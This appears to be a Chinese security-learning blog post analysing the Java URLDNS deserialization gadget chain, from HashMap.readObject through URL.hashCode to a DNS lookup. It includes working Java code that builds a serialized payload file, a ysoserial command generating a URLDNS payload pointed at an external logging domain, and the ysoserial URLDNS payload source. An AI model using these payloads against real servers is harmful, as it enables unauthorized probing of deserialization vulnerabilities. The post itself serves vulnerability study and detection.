最近在学习关于Java安全相关的内容,之前有做过代码审计以及渗透测试,一直有接触过反序列化利用这块,但是一直没有深入的去分析利用的链条,怎么一步步执行到恶意方法的,借此机会进行学习和记录。

前置知识

一个简单的 Demo

1
2
3
4
5
6
public class HashCodeTest {
public static void main(String[] args) throws MalformedURLException {
HashMap<URL, Integer> urlHashMap = new HashMap<>();
urlHashMap.put(new URL("https://7nmsor.dnslog.cn"), 1);
}
}

执行如上程序,却在 DNSlog 中收到了请求。

原因分析:hashmap.put()方法会触发了 URL类中的 hashcode方法,这个方法会调用 getHostAddress(u)从而发起 DNS 解析请求。

hashmap会调用 hashcode()方法来计算存入数据的 hash值,以此来作为 hash表位置的依据。由于 Java的特性,如果这个数据(例如:URL类)重写了 hashcode()方法。则调用的会是这个对象的hashcode()

那么 URL 类为什么要重写 hashcode()方法呢?URL 的哈希值计算可能涉及主机名解析(DNS 查询),这个过程耗时且可能受网络影响。因此,URL 类在重写 hashCode()时引入了缓存机制。

如下,两个不同的 URL 地址,但计算出来的 hashcode 是完全一样的。

这是为什么呢?原因是:他们使用的协议、端口号以及最终解析的 IP 都是一样的,所以他们的 hashcode 也是完全一样的。

那么 URL 的 hashcode 计算跟如下信息有关:

  • 协议
  • 端口号
  • 最终解析的 ip 地址。

前置知识的代码调用链分析

继续来看 Demo:

1
2
3
4
5
6
public class HashCodeTest {
public static void main(String[] args) throws MalformedURLException {
HashMap<URL, Integer> urlHashMap = new HashMap<>();
urlHashMap.put(new URL("https://ssb748.dnslog.cn"), 1);
}
}

对代码进行 debug 调试,进入到 put 方法。

进入到 hash 方法

进入到 hashCode 方法

这里需要让 hashCode 变量为 -1,才会执行到后续的 handler.hashCode方法。

在本次 Demo 中为 -1 是因为该 URL 第一次被访问,之后就把这个 URL 存储起来了,以备下次调用时直接返回,这样设计的目的也是为了避免多次发起 DNS 解析减少运算。

由于我们是第一次访问该 URL,因此会执行 handler.hashCode方法,我们进入到该方法。

此时,DNSlog 端就接受了 DNS 的请求。

URLDNS 链在反序列化的应用

HashMap 的 put 方法会调用 hashcode 方法,那么 hahscode 方法是否可以在反序列化的时候自动调用呢?

答案是可以的,HashMap 重写了反序列化时执行的 readObject方法,并在该方法中调用了 hashcode 方法。

反序列化利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class DnsLogSerialize {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException {
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("https://ylcsqzdreo.zaza.eu.org");
// 获取URL类的hashCode字段
Field hashCodeField = url.getClass().getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
// 修改URL对象的hashCode值为非-1值,此处用于在序列化时不触发DNS请求
hashCodeField.set(url, 209);
hashmap.put(url,209);

// 接着序列化将hashCode 值修改为-1,用于在反序列化时触发 Dnslog 请求
hashCodeField.set(url, -1);

// 序列化 hashmap
serialize(hashmap);
}

public static void serialize(Object obj) throws IOException, IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dnslog.ser"));
oos.writeObject(obj);
}
}

以上代码用于生成 dnslog.ser序列化文件,接着执行如下代码进行反序列化利用。由于在 hashmap.put方法执行前将 hashCode 的值设置为了非 -1 值。故而在序列化时不会触发 DNSLog,而后又将 hashCode 设置为了 -1。所以会在序列化时触发 Dnslog 查询,而不是从本地缓存中查询,防止触发两次dns请求,混淆我们的判断。

1
2
3
4
5
6
7
8
9
10
public class DnsLogUnserialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialize("dnslog.ser");
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

执行完反序列化代码就可以收到 DNSlog 请求:

反序列化利用链分析

由于我们序列化的是 hashmap 类,而该类重写了 readObject 方法,readObject 方法调用了 hashcode。

我们可以在 HashMap#ReadObject方法下面两处下一个断点。

然后通过 debug 的方式去执行反序列化操作,执行到下一个断点

进入到 hash 方法当中。

接着进入到 hashCode 方法中

由于 HashMap 的属性 URL,重写了 hashCode 方法,因此这里调用的是 URL 类中的 hashCode 方法。

接着进入到 handler.hashCode()方法当中

继续进入

getByName 方法执行完毕之后,DnsLog 就收到了请求。

最后总结一下。

  1. 反序列化入口:从反序列化 dnslog.ser 文件开始,目标类是 HashMap
  2. HashMap 反序列化逻辑HashMap 重写了 readObject 方法,反序列化时会执行 HashMap#readObject()
  3. 哈希计算触发:在 readObject 中会调用 HashMap#hash() 方法,用于计算键的哈希值以重建哈希表。
  4. URL hashCode 调用hash() 方法会调用键(这里是 URL 对象)的 hashCode() 方法。由于 URL 重写了 hashCode 方法,因此执行 URL#hashCode()
  5. DNS 解析链路URL#hashCode() 内部会调用 URLStreamHandler#hashCode(),进而调用 URLStreamHandler#getHostAddress(),最终通过 InetAddress#getByName() 触发 DNS 查询,完成整个利用链。

ysoserial 工具的利用链实现

项目地址:https://github.com/frohoff/ysoserial

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS https://qcawvimqll.lfcx.eu.org > payload.ser
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

这里工具的作者为了防止在生成反序列化文件时触发 DNSLog 请求,因此他改写了 SilentURLStreamHandler#getHostAddress()方法。在 put一个 URL 到 HashMap中不会产生 DNSlog 请求。

参考链接